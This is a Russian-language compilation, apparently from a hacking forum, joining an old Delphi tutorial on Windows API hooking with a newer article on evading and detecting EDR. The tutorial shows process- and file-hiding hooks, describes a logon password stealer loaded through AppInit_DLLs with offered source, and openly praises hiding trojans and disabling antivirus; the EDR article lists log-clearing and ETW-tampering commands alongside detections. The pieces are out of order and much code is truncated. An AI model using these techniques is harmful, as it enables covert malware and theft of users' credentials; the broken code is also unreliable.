  1. Function ZwQueryDirectoryFile(FileHandle: dword;
  2.                               FileInformation: pointer;
  3.                               FileInformationLength: dword;
  4.                               FileInformationClass: dword;
  5.                               FileName: PUnicodeString;
  6.                               RestartScan: bool): NTStatus;
  7.                               stdcall; external ‘ntdll.dll’;

Для нас важны параметры FileHandle, FileInformation
и FileInformationClass.
FileHandle — хэндл объекта директории, который может
быть получен с использованием функции ZwOpenFile.
FileInformation — указатель
на выделенную память, куда функция запишет необходимые данные.

FileInformationClass определяет тип записей в FileInformation.

FileInformationClass перечислимого типа, но нам необходимы только
четыре его значения, используемые для просмотра содержимого директории.

  1.   FileDirectoryInformation = 1;
  2.   FileFullDirectoryInformation = 2;
  3.   FileBothDirectoryInformation = 3;
  4.   FileNamesInformation = 12;

Структура записи в FileInformation для FileDirectoryInformation:

  1.  FILE_DIRECTORY_INFORMATION = packed record

для FileFullDirectoryInformation:

  1.  FILE_FULL_DIRECTORY_INFORMATION = packed record
  2.    EaInformationLength: ULONG;

для FileBothDirectoryInformation:

  1.  FILE_BOTH_DIRECTORY_INFORMATION = packed record
  2.    EaInformationLength: ULONG;
  3.    AlternateNameLength: ULONG;
  4.    AlternateName[0..11]: array of WideChar;

и для FileNamesInformation:

  1.  FILE_NAMES_INFORMATION = packed record
Функция записывает набор этих структур в буфер FileInformation.

Во всех этих типах структур для нас важны только три переменных:

NextEntryOffset — размер данного элемента списка.
Первый элемент
расположен по адресу FileInformation + 0, а второй элемент по адресу
FileInformation + NextEntryOffset первого элемента. У последнего элемента
поле NextEntryOffset содержит нуль.
FileName — это полное имя файла.
FileNameLength — это длина имени файла

Для скрытия файла, необходимо сравнить имя каждой возвращаемой записи
и имя файла, который мы хотим скрыть.
Если мы хотим скрыть первую запись,
нужно сдвинуть следующие за ней структуры на размер первой записи. Это приведет
к тому, что первая запись будет затерта. Если мы хотим скрыть другую запись,
мы можем просто изменить значение NextEntryOffset предыдущей записи. Новое
значение NextEntryOffset будет нуль, если мы хотим скрыть последнюю запись,
иначе значение будет суммой полей NextEntryOffset записи, которую мы хотим
скрыть и предыдущей записи. Затем необходимо изменить значение поля Unknown
предыдущей записи, которое предоставляет индекс для последующего поиска.
Значение поля Unknown предыдущей записи должно равняться значению поля Unknown
записи, которую мы хотим скрыть.

Если нет ни одной записи, которую можно видеть, мы должны вернуть ошибку
STATUS_NO_SUCH_FILE.

  1.   STATUS_NO_SUCH_FILE = $C000000F;
Скрытие процессов:
Список процессов можно получить различными методами: EnumProcesses, CreateToolHelp32Snapshot и.др., но все эти API обращаются к базовой функции ZwQuerySystemInformation.

Рассмотрим прототип этой функции:

  1. Function ZwQuerySystemInformation(ASystemInformationClass: dword;
  2.                                   ASystemInformation: Pointer;
  3.                                   ASystemInformationLength: dword;
  4.                                   AReturnLength:PCardinal): NTStatus;
  5.                                   stdcall;external ‘ntdll.dll’;

SystemInformationClass указывает тип информации, которую мы хотим
получить, SystemInformation — это указатель на результирующий буфер,
SystemInformationLength — размер этого буфера и ReturnLength — количество
записанных байт.
Эта функция может возвращать различные классы информации, каждый из которых определен своей структурой. Вот список классов возвращаемых функцией:

  1. const // SYSTEM_INFORMATION_CLASS
  2.   SystemBasicInformation                =   0;
  3.   SystemProcessorInformation            =   1;
  4.   SystemPerformanceInformation          =   2;
  5.   SystemTimeOfDayInformation            =   3;
  6.   SystemNotImplemented1                 =   4;
  7.   SystemProcessesAndThreadsInformation  =   5;
  8.   SystemConfigurationInformation        =   7;
  9.   SystemProcessorTimes                  =   8;
  10.   SystemNotImplemented2                 =   10;
  11.   SystemModuleInformation               =   11;
  12.   SystemLockInformation                 =   12;
  13.   SystemNotImplemented3                 =   13;
  14.   SystemNotImplemented4                 =   14;
  15.   SystemNotImplemented5                 =   15;
  16.   SystemHandleInformation               =   16;
  17.   SystemObjectInformation               =   17;
  18.   SystemPagefileInformation             =   18;
  19.   SystemInstructionEmulationCounts      =   19;
  20.   SystemInvalidInfoClass                =   20;
  21.   SystemCacheInformation                =   21;
  22.   SystemPoolTagInformation              =   22;
  23.   SystemProcessorStatistics             =   23;
  24.   SystemDpcInformation                  =   24;
  25.   SystemNotImplemented6                 =   25;
  26.   SystemTimeAdjustment                  =   28;
  27.   SystemNotImplemented7                 =   29;
  28.   SystemNotImplemented8                 =   30;
  29.   SystemNotImplemented9                 =   31;
  30.   SystemCrashDumpInformation            =   32;
  31.   SystemExceptionInformation            =   33;
  32.   SystemCrashDumpStateInformation       =   34;
  33.   SystemKernelDebuggerInformation       =   35;
  34.   SystemContextSwitchInformation        =   36;
  35.   SystemRegistryQuotaInformation        =   37;
  36.   SystemLoadAndCallImage                =   38;
  37.   SystemPrioritySeparation              =   39;
  38.   SystemNotImplemented10                =   40;
  39.   SystemNotImplemented11                =   41;
  40.   SystemInvalidInfoClass2               =   42;
  41.   SystemInvalidInfoClass3               =   43;
  42.   SystemTimeZoneInformation             =   44;
  43.   SystemLookasideInformation            =   45;
  44.   SystemSetTimeSlipEvent                =   46;
  45.   SystemCreateSession                   =   47;
  46.   SystemDeleteSession                   =   48;
  47.   SystemInvalidInfoClass4               =   49;
  48.   SystemRangeStartInformation           =   50;
  49.   SystemVerifierInformation             =   51;
  50.   SystemSessionProcessesInformation     =   53;

Для перечисления запущенных процессов мы устанавливаем в параметр
SystemInformationClass в значение SystemProcessesAndThreadsInformation.
Возвращаемая структура в буфере SystemInformation:

  1. PSYSTEM_PROCESSES = ^SYSTEM_PROCESSES
  2. SYSTEM_PROCESSES = packed record
  3.    Reserved1 : array [0..5] of dword;
  4.    KernelTime: LARGE_INTEGER;
  5.    ProcessName: TUnicodeString;
  6.    Reserved2: array [0..1] of dword;
  7.    IoCounters: IO_COUNTERS; // Windows 2000 only
  8.    Threads: array [0..0] of SYSTEM_THREADS;

Скрытие процессов похоже на скрытие файлов. Мы должны изменить
NextEntryDelta записи предшествующей записи скрываемого процесса. Обычно
не требуется скрывать первую запись, т.к. это процесс Idle.
Простой обработчик ZwQuerySystemInformation скрывающий процесс winlogon.exe будет выглядеть так:

  1. Function NewZwQuerySystemInformation(ASystemInformationClass: dword;
  2.                                      ASystemInformation: Pointer;
  3.                                      ASystemInformationLength: dword;
  4.                                      AReturnLength: PCardinal): NTStatus; stdcall;
  5.  Info, Prev: PSYSTEM_PROCESSES;
  6.  Result := TrueZwQuerySystemInformation(ASystemInformationClass,
  7.                                         ASystemInformationLength,
  8.  if (ASystemInformationClass = SystemProcessesAndThreadsInformation) and
  9.     (Result = STATUS_SUCCESS) then
  10.       Info := ASystemInformation;
  11.       while(Info^.NextEntryDelta > 0) do
  12.          Info := pointer(dword(Info) + Info^.NextEntryDelta);
  13.          if lstrcmpiw(Info^.ProcessName.Buffer, ‘winlogon.exe’) = 0 then
  14.            Prev^.NextEntryDelta := Prev^.NextEntryDelta + Info^.NextEntryDelta;
В общем, мы кратко рассмотрели способ скрытия файлов и процессов.

В завершении, приведу пример программы перехватывающей пароли на вход в Windows и при запуске программ от имени пользователя.
Для начала немного теории: при входе пользователя в систему процесс Winlogon.exe проводит его авторизацию через функции библиотеки msgina.dll. Конкретно, нас интересует функция WlxLoggedOutSAS вызывающаяся при входе пользователя в систему.
Вот прототип этой функции:

  1.  WlxLoggedOutSAS: Function(pWlxContext: pointer;
  2.                            pAuthenticationId: pointer;
  3.                            pMprNotifyInfo: PWLX_MPR_NOTIFY_INFO;
  4.                            pProfile:pointer): dword; stdcall;

Функции передается структура WLX_MPR_NOTIFY_INFO содержащая в себе имя пользователя, его пароль и домен.

  1. PWLX_MPR_NOTIFY_INFO = ^WLX_MPR_NOTIFY_INFO;
  2. WLX_MPR_NOTIFY_INFO = packed record
  3.   pszOldPassword: PWideChar;

Мы будем перехватывать функцию WlxLoggedOutSAS в процессе Winlogon.exe и сохранять полученные пароли в файле.
В других процессах мы будем перехватывать LogonUserA, LogonUserW и CreateProcessWithLogonW — эти функции используются для запуска процессов от имени другого пользователя.

  1. function LogonUserA(lpszUsername, lpszDomain, lpszPassword: PAnsiChar;
  2.                     dwLogonType, dwLogonProvider: DWORD;
  3.                     var phToken: THandle): BOOL; stdcall; external ‘advapi32.dll’;
  4. function LogonUserW(lpszUsername, lpszDomain, lpszPassword: PWideChar;
  5.                     dwLogonType, dwLogonProvider: DWORD;
  6.                     var phToken: THandle): BOOL; stdcall; external ‘advapi32.dll’;
  7. Function CreateProcessWithLogonW(const lpUsername: PWideChar;
  8.                                  const lpDomain: PWideChar;
  9.                                  const lpPassword: PWideChar;
  10.                                  const lpApplicationName: PWideChar;
  11.                                  lpCommandLine: PWideChar;
  12.                                  const lpCurrentDirectory: PWideChar;
  13.                                  lpStartupInfo: PStartupInfo;
  14.                                  lpProcessInfo: PProcessInformation): Boolean;
  15.                                  stdcall; external ‘advapi32.dll’;

Перехват этих функций поместим в DLL, глобализатор делать не будем, просто пропишем нашу библиотеку в раздел реестра
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
параметр AppInit_DLLs, тип REG_SZ
Тогда эта библиотека будет автоматически подгружена к любому приложению, которое имеет в своей памяти user32.dll.
В приложении к статье вы можете скачать полные исходники программы FuckLogon, которая перехватывает пароли данным методом.

Защита:

Описанный мной метод перехвата API функций может быть использован для написания чрезвычайно опасных вредоносных программ.
Во избежание этого, я приведу здесь разработанный мной метод поиска скрытых процессов.
Метод состоит в том, что список процессов получается не с помощью API функций, а непосредственно через системные вызовы ядра Windows.
Недостаток данного метода состоит в том, что интерфейсы ядра не документированы, и узнать их можно только дизассемблируя системные библиотеки.
Также функции ядра могут различаться в разных версиях Windows, поэтому работоспособность этого метода везде не гарантируется.
Приведенный ниже код получает список процессов с помощью вызова интерфейсов ядра:

  1. Procedure GetProcessList(var NameList, HandleList: TList);
  2.  pop dword ptr [ebp — $04]
  3.  @GetInfoTable_doublespace:
  4.  push dword ptr [ebp + $08]
  5.  push dword ptr [ebp — $04]
  6.  jmp @GetInfoTable_doublespace
  7.  pop dword ptr [ebp — $04]
  8.  call TList.Add  //NameList.Add
  9.  call TList.Add  //HandleList.Add

NameList будет содержать указатели PWideChar на имена процессов, а HandleList на их PID.
Данный код проверен в Windows XP sp0,sp1 и sp2. В Windows 2000 он работать не будет, так как интерфейс системных вызовов там сильно отличается от XP. Но от перехвата API в ядре этот метод не спасет.
Этот метод поиска скрытых процессов реализован в моей программе ProcessMaster, которую вы можете скачать в приложении к статье.


Приложение:

Здесь вы найдете все файлы идущие со статьей:

Файл Описание
Logon (21 кб) Программа Logon перехватывающая пароли на вход в систему.
В архиве также находятся исходники программы.
AdwareBox (15 кб) Программа — прикол. Заставляет все MessageBox в системе отображать рекламу.
ProcHide (10 кб) Пример скрытия процесса winlogon.exe путем перехвата ZwQuerySystemInformation.
ProcessMaster (189 кб) Программа ProcessMaster для обнаружения скрытых процессов.
Гарантированное обнаружение любых UserMode API перехватчиков

© Ms-Rem

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532

В этой статье мы поговорим о Usermode’ных способах обхода EDR. Методы обхода в ядре затрагивать не будем, потому что для их реализации злоумышленнику придется самостоятельно загрузить в систему уязвимый драйвер (или же найти такой драйвер в системе). Это непросто, поэтому такие кейсы встречаются редко.

Для начала поговорим о компонентах, из которых состоит классическая EDR-система.

Что такое EDR?

EDR-системы (Endpoint Detection and Response) состоят из нескольких компонентов (см. рис. 1).

Рисунок 1. Компоненты EDR.svg

Рисунок 1. Компоненты EDR

Endpoint — конечное устройство: компьютер пользователя, виртуальная машина, сервер организации и т. д. Словом, любое устройство, которое необходимо защитить.

Агент EDR — приложение, которое анализирует события операционной системы и может вынести вердикт, является ли тот или иной объект вредоносным. Плюс осуществляет действия по реагированию, отправляет телеметрию на сервер и получает от него команды.

Сервер EDR — управляющий сервер, который отвечает за администрирование и настройку агентов, отображение событий с Endpoint’ов, генерацию отчетов по инцидентам, управление расследованиями и реагированием.

Драйвер — компонент, работающий в ядре ОС. В системе может быть один или несколько драйверов EDR. Они регистрируют callback-функции для получения нотификаций о старте процессов, загрузке библиотек и других событиях. Для этого используются функции PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine и PsSetLoadImageNotifyRoutine. Для получения событий файловой системы используется драйвер — мини-фильтр. Также драйверы выполняют функцию самозащиты агента.

Системные журналы — Windows Event Log состоит из множества системных журналов и журналов приложений. Для удобного просмотра в Windows есть утилита Event Viewer.

ETW — Event Tracing for Windows, механизм ОС для трассировки событий приложений и драйверов.

Edr.dll — библиотека, внедряемая в каждый процесс при его запуске (для упрощения повествования назовем ее edr.dll, хотя в реальности она может называться по-разному). Осуществляет перехват (хукинг) вызовов функций Windows API для получения сведений об активности процессов.

Нарушение работы EDR

Первый способ незаметно выполнить вредоносные действия на Endpoint‘е — нарушить работоспособность одного или нескольких компонентов EDR.

Угрозы:

  • Остановка сервиса.
  • Удаление/повреждение файлов или ключей реестра.
  • Выгрузка драйвера.
  • Нарушение сетевого соединения между агентом и сервером.

За противодействие этим угрозам в агенте EDR отвечает драйвер самозащиты. Он защищает файлы, процессы, ключи реестра и прочие компоненты системы на уровне ядра. Помимо самого драйвера, в состав компонента самозащиты также может входить служба, работающая в пользовательском режиме и взаимодействующая с драйвером. Она выполняет периодические проверки целостности/работоспособности компонентов и структур EDR (например, целостности хуков, работоспособности ETW-сессий и др.).

Однако всегда есть риск обхода самозащиты — например, из-за Zero-day-уязвимостей в ОС, ошибок в коде продукта, уязвимых драйверов или драйверов из состава инструментов для управления процессами (Process Hacker и др.). Соответственно, помимо предотвращения несанкционированных воздействий на компоненты EDR, другой важной задачей компонента самозащиты является создание нотификаций. Например, при попытке отключения самозащиты или нарушения работы компонентов EDR. Благодаря этому специалисты по мониторингу смогут заметить активность злоумышленников и вовремя отреагировать, даже если атакующий уже успел навредить отдельным составляющим системы.

Периодические проверки работоспособности компонентов EDR и сетевого соединения называются Health Check. Для проверки наличия сетевого соединения агент периодически отправляет на сервер Heartbeat: небольшое сообщение, смысл которого — сказать «я жив». Если сообщение не поступит, на сервере изменится статус соответствующего Endpoint’а.

Один из интересных инструментов для нарушения сетевого соединения между агентом и сервером — утилита EDR Silencer. Она использует механизм Windows Filtering Platform (WFP) для блокирования отправки сетевого трафика от EDR-агента на сервер. EDR Silencer ищет среди запущенных в системе процессов те, которые относятся к EDR, и добавляет для них блокирующий WFP фильтр. После этого система не может отправить на сервер нотификацию об атаке.

Тем не менее одно из ключевых свойств EDR-агента — возможность реагировать автономно, без подключения к серверу. Благодаря этому система может самостоятельно выявить факт добавления фильтра и восстановить соединение. Есть несколько способов задетектить блокировку:

  • по событию 5441 журнала Security;
  • по детекту запуска процесса с параметром «blockedr»;
  • статический YARA-детект на EDR Silencer.

Также для обнаружения активности EDR Silencer можно использовать утилиту EDRNoiseMaker. Отметим, что заложенную в ней логику можно повторить и непосредственно в EDR-агенте.

Нарушение поставки событий

Поставщиками событий для EDR могут быть: 

•    собственный драйвер; 
•    Windows Event Log (WEL); 
•    Event Tracing for Windows (ETW); 
•    edr.dll.

Рассмотрим способы нарушения их работы.

Windows Event Log

В Windows каждое приложение может вести журнал в формате evtx, в который будут записываться важные отладочные сообщения. Система по умолчанию пишет логи в журналы System, Security, Application и др. Но злоумышленник может попробовать стереть компрометирующие его записи.

Угрозы:

  1. Изменение настроек / очистка журналов.
  2. Использование утилиты Windows Event Log Killer и ей подобных.

1. Очистить логи можно разными способами. Например, с помощью PowerShell-команд Remove-EventLog или Clear-EventLog -LogName <имя журнала>. Для их обнаружения следует проверять запускаемые PowerShell-скрипты. Также злоумышленник может вручную удалить файлы логов. Однако это действие отразится в журналах: Event ID 1102 — «The audit log was cleared» для Security; и 104 — «The System log file was cleared» для других.

Помимо этого, очистить журнал можно с помощью утилиты wevtutil от Microsoft. Чтобы обнаружить ее применение, необходимо мониторить запуски процесса «wevtutil» с параметром «cl» (например, Event ID 1 Sysmon’а или 4688 Security). Либо использовать собственную реализацию мониторинга — через драйвер или edr.dll.

Другой способ нарушить поставку событий из WEL в EDR — использовать PowerShell-команду Limit-EventLog -LogName <имя журнала> -OverflowAction DoNotOverwrite. Последний параметр означает, что, как только лог достигнет максимального размера (по умолчанию ~20 МБ), новые события будут автоматически удаляться. Для журнала Security переполнение сопровождается событием 1104: «The security log is now full». Также следует мониторить события 4103 и 4104 журнала Microsoft-Windows-PowerShell/Operational на предмет наличия команды «Limit-EventLog» с параметром «-OverflowAction DoNotOverwrite».

2. Наконец, переходим к утилите Windows EventLog Killer и ей подобным. Они интересны тем, что действуют довольно скрытно и завершают все потоки службы eventlog, не останавливая при этом процесс службы. То есть служба продолжает работать, но события перестают записываться в журналы. Подобные вредоносные утилиты успешно детектируются с помощью статических правил.

Общие рекомендации:

  • Контролируйте поступление событий из соответствующих журналов WEL на сервер.
  • Проверьте настройку разрешений на редактирование/очистку журналов WEL в групповых политиках.
  • Используйте драйвер самозащиты для блокирования попыток очистить журналы и завершить потоки EventLog’а.
  • Применяйте статические правила для детекта известных вредоносных утилит, используемых для нарушения работы службы Windows Event Log.

Event Tracing for Windows

Механизм Event Tracing for Windows выглядит следующим образом (см. рис. 2).

Рисунок 2. Компоненты EDR.svg

Рисунок 2. Механизм Event Tracing for Windows

Сессии (сеансы) — предоставляют потребителям события от одного или нескольких провайдеров либо записывают события в лог.

Контроллеры — приложения, которые управляют сессиями. Определяют путь к логу и выявляют, какие провайдеры поставляют события в ту или иную сессию, запускают и останавливают сеансы трассировки.

Провайдеры — приложения, которые занимаются поставкой событий в сессии.

Потребители — приложения, использующие события.

ОС не предоставляет достаточно средств для получения событий мониторинга, поэтому производители EDR часто используют ETW в качестве поставщика событий. Однако изначально эта служба разрабатывалась как средство отладки, а не мониторинга, поэтому на уровне ОС механизмов защиты ETW не существует.

Угрозы:

  1. Нарушение поставки событий с помощью системных утилит или WinAPI
  2. Модификация реестра.
  3. Патчинг EtwEventWrite в ntdll.dll.

1. Самый простой способ нарушить поставку ETW-событий — использовать штатные системные утилиты (logman, xperf) или PowerShell-команды Stop-Etw-Trace-Session/Remove-EtwTraceProvider. Для предотвращения их запуска для остановки логирования рекомендуется мониторить старты процессов с соответствующими параметрами с помощью драйвера или edr.dll.

Для остановки сессии также можно использовать WinAPI-функцию StopTrace. Это более скрытный способ, и для его блокирования необходимо перехватить вызов данной функции (подробнее о перехватах — в следующем разделе).

2. Кроме того, в ETW есть сессия Autologger, которая логирует события во время загрузки ОС. Чтобы ее отключить, достаточно обнулить ключ HKLM\System\CurrentControlSet\Control\WMI\Autologger\<имя сессии>\Start. Для защиты от злоумышленников можно с помощью драйвера проверять попытки записи в этот ключ и блокировать их, если модифицирующий процесс не относится к EDR-агенту.

3. Еще один способ нарушить поставку событий ETW — пропатчить WinAPI-функцию EtwEventWrite в ntdll.dll так, чтобы она сразу возвращала статус об успешном завершении. В качестве противодействия следует выполнять периодические проверки пролога функции EtwEventWrite в ntdll.

Общие рекомендации:

  • Проверяйте, что агент продолжает получать события от используемых провайдеров.
  • Убедитесь в том, что EDR использует несколько источников событий, а не полагайтесь только на один.

Перехваты Usermode’ных WinAPI-функций

При запуске каждого процесса в системе драйвер EDR-агента внедряет библиотеку edr.dll в его адресное пространство. edr.dll загружается и переписывает прологи определенных функций WinAPI так, чтобы после вызова функции управление передавалось на код, который логирует вызов, обрабатывает параметры и возвращаемое значение функции, а также может запретить ее дальнейшее выполнение. Как правило, EDR-системы ставят хуки на функции в ntdll.dll, поскольку именно оттуда выполняются системные вызовы в ядро.

На основании информации о перехваченных вызовах EDR-агент решает, является ли процесс вредоносным, и при необходимости может отправить нотификацию на сервер или отреагировать (удалить файл, завершить процесс и т. д.). Перехват функций — не самая надежная технология (бывают проблемы со стабильностью и перфомансом), однако иногда у нас может не быть других источников получения информации о событии, кроме Usermode’ных хуков.

Угрозы:

  1. Выгрузка библиотеки EDR.
  2. Запрет загрузки библиотеки EDR в процесс.
  3. Перезапись EDR’ного хука (восстановление пролога).
  4. Прямой вызов Syscall’ов.

1. Существует ВПО, которое проверяет наличие перехвата перед вызовом конкретной WinAPI-функции. Если перехват установлен, функция не вызывается. Однако тогда не будет выполнена и вредоносная активность. 

2. Один из способов скрыть этот процесс от EDR — выгрузить библиотеку edr.dll с помощью FreeLibrary. Это действие можно расценивать как вредоносное и сразу завершать процесс, который его выполнил. Обнаружить выгрузку библиотеки можно с помощью того же хука на FreeLibrary либо ETW-события eventid: 6 провайдера Kernel-Process.

3. Следующий способ скрыться от EDR — запретить загрузку edr.dll при старте вредоносного процесса. В структуре STARTUP_INFO, которая передается в функцию CreateProcess, есть поле — указатель на список атрибутов. Если атрибут PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY имеет значение PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON, ОС запретит загрузку в создаваемый процесс всех библиотек, кроме тех, которые имеют валидную подпись Microsoft. Таким образом, если edr.dll не подписана Microsoft, она не будет загружена в создаваемый процесс.

В качестве противодействия можно перехватывать запуски процессов и проверять параметры запуска на предмет наличия флага PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON. Это редкое действие, и оповещение на сервер (как минимум) здесь точно не будет лишним.

Подробнее об атрибутах можно прочитать на msdn в документации к функции UpdateProcThreadAttribute.

Еще один способ скрыться от EDR — восстановить исходные прологи функций в ntdll.dll. Это можно сделать двумя способами:

  • Еще раз загрузить в память процесса ntdll.dll и перезаписать прологи функций.
  • Запустить дочерний процесс в Suspended-режиме и перезаписать прологи функций (при запуске дочернего процесса в Suspended-режиме ntdll еще не будет переписана EDR’ом, поскольку драйвер не получит нотификации о старте процесса, пока не будет вызвана функция ResumeThread).

Отметим, что оба подхода содержат аномальное поведение. В первом случае это повторная загрузка ntdll, во втором — запуск процесса в Suspended-режиме (наличие флага CREATE_SUSPENDED можно проверить с помощью перехвата функции CreateProcess).

4. Идем дальше: чтобы обойти EDR’ные хуки, можно вызвать Syscall напрямую. Системный вызов или Syscall — это вызов кода ядра, в ассемблере он выглядит так (см. рис. 3).

рисунок_3.png

Рисунок 3. Системный вызов в ассемблере

В регистр EAX помещается номер системного вызова, после этого вызывается инструкция Syscall, которая передает управление на ядерный код. В разных версиях ОС номера системных вызовов могут отличаться, поэтому легитимный софт не использует Syscall напрямую, а вызывает экспорты, предоставляемые системными библиотеками.

В свою очередь, ВПО может выполнять системные вызовы напрямую, чтобы не обращаться к системным библиотекам, функции которых могут быть перехвачены EDR. Но подобное поведение является аномалией, и его можно выявить путем анализа стека вызовов на стороне драйвера EDR. Если системный вызов выполняется не из ntdll.dll, вызывающий процесс нужно завершить.

Общие рекомендации:

  • Периодически проверяйте работоспособность хуков (healthcheck).
  • Анализируйте стек вызовов в драйвере: детект чтения системных библиотек с диска (вне LoadLibrary), вызовы Syscall не из ntdll.
  • Обеспечьте отправку нотификаций на сервер при попытке копирования системных библиотек в произвольные директории.
  • Выполняйте отправку нотификаций на сервер при запуске Suspended-процессов.
  • Убедитесь в том, что EDR использует несколько источников событий.

Скрытие/мимикрия

Скрытие — это мимикрия вредоносного процесса под легитимный, которая не нарушает работу EDR. Рассмотрим два способа ее реализации.

Спуфинг родительского процесса

В этом случае злоумышленники подменяют родительский процесс, чтобы придать вредоносному более легитимный вид. Если вредоносный процесс запущен доверенным (подписанным Microsoft) приложением, аналитик может не обратить на него внимания.  

Мы уже упоминали структуру STARTUP_INFO, которая передается в функцию CreateProcess. В этой структуре есть поле PROC_THREAD_ATTRIBUTE_PARENT_PROCESS — в него можно записать pid существующего легитимного процесса. При этом и драйвер, и Task Manager будут отображать внедренный pid как родительский.

Обнаружить это довольно легко: смотрим на событие eventid: 1 провайдера Kernel-Process — это событие о запуске процесса. В нем есть поля ParentProcessId (содержит внедренный pid) и Execution ProcessID (содержит pid реального родительского процесса). Если они не совпадают, запущенный процесс и процесс с Execution ProcessID следует завершить.

Также обнаружить подмену родительского процесса можно на уровне драйвера EDR: путем сопоставления значения ParentProcessId с CreatingThreadId –> UniqueProcess из структуры PS_CREATE_NOTIFY_INFO (драйвер EDR выдаст нотификацию о запуске процесса). В обычной ситуации ParentProcessId и CreatingThreadId –> UniqueProcess будут указывать на один и тот же процесс, а в случае спуфинга родительского процесса — на разные (см. рис. 4). 

рисунок_4.png

Рисунок 4. Описание структуры PS_CREATE_NOTIFY_INFO

Спуфинг командной строки

Часто логика детектирования вредоносного софта и хакерских утилит завязана на сканировании командной строки, из которой был запущен процесс. Как злоумышленники скрывают реальную командную строку:

  • Создается Suspended-процесс с безобидными аргументами.
  • Вызывается функция NtQueryInformationProcess для получения адреса PEB (Process Environment Block). В PEB содержится информация о процессе, в том числе командная строка.
  • PEB -> ProcessParameters -> CommandLine перезаписывается на вредоносную. Именно она будет выполняться при возврате процесса из Suspended-режима.
  • Исполнение передается на основной поток процесса с помощью функции ResumeThread.

С точки зрения защиты запуск Suspended-процесса — подозрительное действие, поэтому нотификация о нем должна отправляться на сервер EDR. Для обнаружения факта подмены командной строки нужно перехватывать функции CreateProcess и ResumeThread. Затем необходимо сравнить в обработчиках перехватов командную строку, полученную из CreateProcess, с той, что находится в PEB. Если они отличаются, следует запретить ResumeThread и завершить процесс.

Основы перехвата.

Предисловие:

В настоящее время широчайшую распостраненность поличили операционные системы семейства Windows NT/20000/XP. Они широко используются не только как домашние системы, но и в качестве серверов. Эта линейка ОС отличается неплохой защищенностью от вредоносных программ, а так-же для нее существует большое количество дополнительных систем безопасности (различные антивирусы, фаерволлы). Установив антивирус и фаерволл многие пользователи думают, что они стопроцентно защищены, и даже большинство программистов считают, что достаточно почаще проверять свой компьютер на подозрительные вещи (автозагрузка, процессы и.т.д.) и никокая вредоносная программа к ним не сможет проникнуть. В большинстве случаев это действительно так, 99% троянов до сих пор загружаются через HKLM/Run, и для скрытности имеют названия вроде WinLoader32.exe. Глядя на это мне просто смешно становиться. Это дело нужно срочно исправлять, поэтому я написал этот цикл из трех статей, в которых описываются методы перехвата API функций в системах линейки Windows NT на всех возможных уровнях.

Эта технология дает нам огромные возможности. Можно например легко скрыть присутствие трояна в системе так, что даже тшательная проверка компьютера не даст ничего. Можно легко получить пароли на вход в систему. Можно уничтожить антивирусы и обойти фаерволлы. Все это конкретные применения этой технологии (они подробно описаны в статьях), но этому легко придумать и множество других применений (создание систем безопасности, различные эмуляторы). Можно на этой основе снимать триальные ограничения серийно, с многих программ использующих стандартные способы защиты (таких 99%). И при всех этих возможностях сам метод очень прост. Для того, чтобы его понять нужна всего-лишь капля мозгов (не больше).

Основной язык для приводимых фрагментов кода — Delphi, но материал актуален и для любого другого языка (С, С++, Ассемблер и.т.д.). Единственное условие — язык должен быть 100% компилируемым, а также поддерживать работу с указателями и ассемблерные вставки. Так что любителям VB скорее всего придется обломиться. Для полного понимания материала статей нужно таже хотя-бы немножко знать ассемблер и С++.

Теория:

Как известно, OC Windows NT целиком построена на системе DLL (динамически загружаемых библиотек). Система предоставляет приложениям сервисные API функции, с помощью которых оно может взаимодействовать с системой. Перехват API функций позволяет обойти многие ограничения системы и делать с ней практически что угодно.
В этой статье я приведу некоторые методы программирования перехвата API, а также примеры его практического применения. Предполагается, что читатель знаком с программированием в Delphi, работой загрузчика Windows (загрузка и вызов функций DLL), а также имеет некоторые представления о программировании на ассемблере.

API функции представляют и себя ничто иное, как функции в системных DLL. Любой процесс в системе обязательно имеет в своем адресном пространстве Ntdll.dll, где располагаются функции Native API — базовые функции низкоуровневой работы с системой, функции Kernel32.dll являются переходниками к более мощным функциям Ntdll, следовательно целесообразно будет перехватывать именно функции Native API.
Проблема в том, что Native API функции не документированы в SDK, но узнать модель их вызова можно дизассемблируя Kernel32.dll. Нельзя утверждать, что адреса функций в системных библиотеках не изменяются в зависимости от версии ОС, ее сборки либо даже конкретной ситуации. Это происходит из-за того, что предпочитаемая база образа библиотеки (dll preferred imagebase) является константой, которую можно изменять при компиляции. Более того, совсем не обязательно, что dll будет загружена именно по предпочитаемому адресу, — этого может не произойти в результате коллизии с другими модулями, динамически выделенной памятью и т.п. Поэтому статический импорт функций происходит по имени модуля и имени функции (либо ее номера — ординала), предоставляемой этим модулем. Загрузчик PE файла анализирует его таблицу импорта и определяет адреса функций, им импортируемых. В случае, если в таблице импорта указана библиотека, не присутствующая в контексте загружаемой программы, происходит ее отображение в требуемый контекст, настройка ее образа и ситуация рекурсивно повторяется. В результате в требуемом месте определенной секции PE файла (имеющей, как минимум, атрибуты «readable» и «initialized data») заполняется массив адресов импортируемых функций. В процессе работы каждый модуль обращается к своему массиву для определения точки входа в какую-либо функцию.
Следовательно существуют два основных метода перехвата API вызовов: изменение точки входа в таблице импорта и изменение начальных байт самой функции (сплайсинг функции).

Изменение таблиц импорта:

Этот метод выглядит так. Определяется точка входа перехватываемой функции. Составляется список модулей, в настоящий момент загруженных в контекст требуемого процесса. Затем перебираются дескрипторы импорта этих модулей в поиске адресов перехватываемой функции. В случае совпадения этот адрес изменяется на адрес нашего обработчика.

К достоинствам данного метода можно отнести то, что код перехватываемой функции не изменяется, что обеспечивает корректную работу в многопоточном приложении. Недостаток этого метода в том, что приложения могут сохранить адрес функции до перехвата, и затем вызывать её минуя обработчик. Также можно получить адрес функции используя GetProcAddress из Kernel32.dll. Из — за этого недостатка я считаю этот метод бесперспективным в применении и подробно рассматривать его не буду.

Сплайсинг функции:

Этот метод состоит в следующем: определяется адрес перехватываемой функции, и первые 5 байт её начала заменяются на длинный jmp переход по адресу обработчика перехвата.
Если необходимо вызывать перехватываемую функцию, то перед заменой необходимо сохранить её начальные байты и перед вызовом восстанавливать их.
